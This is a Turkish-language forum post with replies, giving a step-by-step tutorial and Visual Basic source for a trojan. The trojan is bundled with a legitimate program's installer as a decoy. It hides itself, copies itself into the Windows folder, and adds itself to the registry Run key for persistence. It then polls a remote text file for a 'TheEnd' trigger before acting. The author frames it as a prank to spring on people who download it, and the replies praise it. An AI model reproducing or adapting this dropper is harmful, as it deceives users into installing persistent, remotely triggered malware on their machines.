Evet arkadaslar sidid ilk olarak yapmamız gereken tavsiyemdir FTP destekli bir free hostingden bir alan almak. sonra alanımıza gerekli dosayaları kopyalayacaız size anlatacağım. Bize bir adette kucuk bir programın msn plus gibi boyutlerı cok buyuk olmasın yada secim size kalmış "setup. exe"'li hali lazım. Programın mantıgını kodları bitirdikten sonra anlatacağım. Şimdi burada 2 program bir den yapacağız. . . 1. cisi asıl virüs kısmımızı harekete geçiren ve gizliyen kısım olacak. Private Sub Form_Load Me. Hide App. TaskVisible = False Source = "\xxx\xxx. exe" destination = "C:\WINDOWS\system666. exe" FileCopy Source, destination On Error Resume Next Dim ac, d1 As String d1 = "C:\WINDOWS\system666. exe" ac = Shell(d1) On Error Resume Next Dim acc, d2 As String d2 = "\setup\setup. exe" acc = Shell(d1) On Error Resume Next End Sub 2. kısma geleleim simdi burada formumuzun üzerine 1 adet inet control ekliyoruz. Private Sub Form_Load Me. Hide App. TaskVisible = False Dim KayitDefteri As Object Set KayitDefteri = CreateObject KayitDefteri. RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App. EXEName, App. Path & "\" & App. EXEName & ". exe" On Error Resume Next Dim kontrol kontrol = inet1. openurl Select Case kontrol Case "TheEnd" mciExecute mciExecute mciExecute mciExecute mciExecute mciExecute End Select End Sub buda 2. ci kısmımız Simdi baştan mantığı anlatıyorum... İlk once 1 adet klasör oluşturuyoruz ve içine "setup" ve "xxx" adında 2 klasör açıyoruz."Setup" olan klasörümüzün içine herhangi bir programın yani kullanıcının yuklediiği programın "setup. exe" sini atıyoruz."xxx"'ede 2 kısımda yaptığımız programı "xxx. exe" olarak kayıt edip bunu atıyoruz. Simdi 1 kısımda yaptığımı ilk once xxx. exe yi windows altına system666. exe olarak kopylayıp sonrada çalıştırmaktır. Yanlız aynı zamanda setup klasörünün altına attıığımız kullanıcının asıl yuklemekte olacağı programıda çalıştırmaktır. Biz hem kullanıcıyı msnplus'u yuklediğine ikna etmiş oluyoruz, arkaplandanda kendi virüsümüzü kopyalamış ve kopyaladğımız dizinde çalıştırmış oluyoruz. 2. Kısımda ise uyuyan güzel dememizin asıl nedeni geliyor. 1. ci program virüsümüzü kopyalayıp açlıştırmıştı virüsümüzde kendini windows kayıt defterine ekledi boylece her açılışta yeniden açılacaktır. Virüsümüzün yaptığı adresindeki asiatico. txt dosyasına "TheEnd" yazıldığı takdirde virüsümüzü harekete geçirmektir. Virüsün yaptığı ise cd rom'a 2-3 kez açıp kapacaktır siz bunu daha da geliştire bilrisiniz. Mantık budur yani isterseniz virüsünüzün indirme sayısı 100'E ulaştığı zaman ". txt" odsyasına "TheEnd" yazarak virüsü harekete geçirip kullanıcılar bilgisayarlarını açtıklarını birere suprizle karşılaştıra bilirsiniz. Hani bi ara piyasada bazı virüsler dolaşıyordu belli tarihlerde harekete geçiriyordu o mantığa yakın bir mantıkla sizde yapabilirsiniiz. şimdiden kolay gelsin

eywallah güzel olmuş eline sağlık. Red

sen kendin bir alan alacaksın ve bir txt dosyası oluşturup içine TheEnd yazıp atacaksın

çok basit bir kod Bende bir ara winsock ile başaramadığım client server bağlantısını bu mantıkla çözmüştüm...

Siten Çalışmıyo Nasıl Olcak O?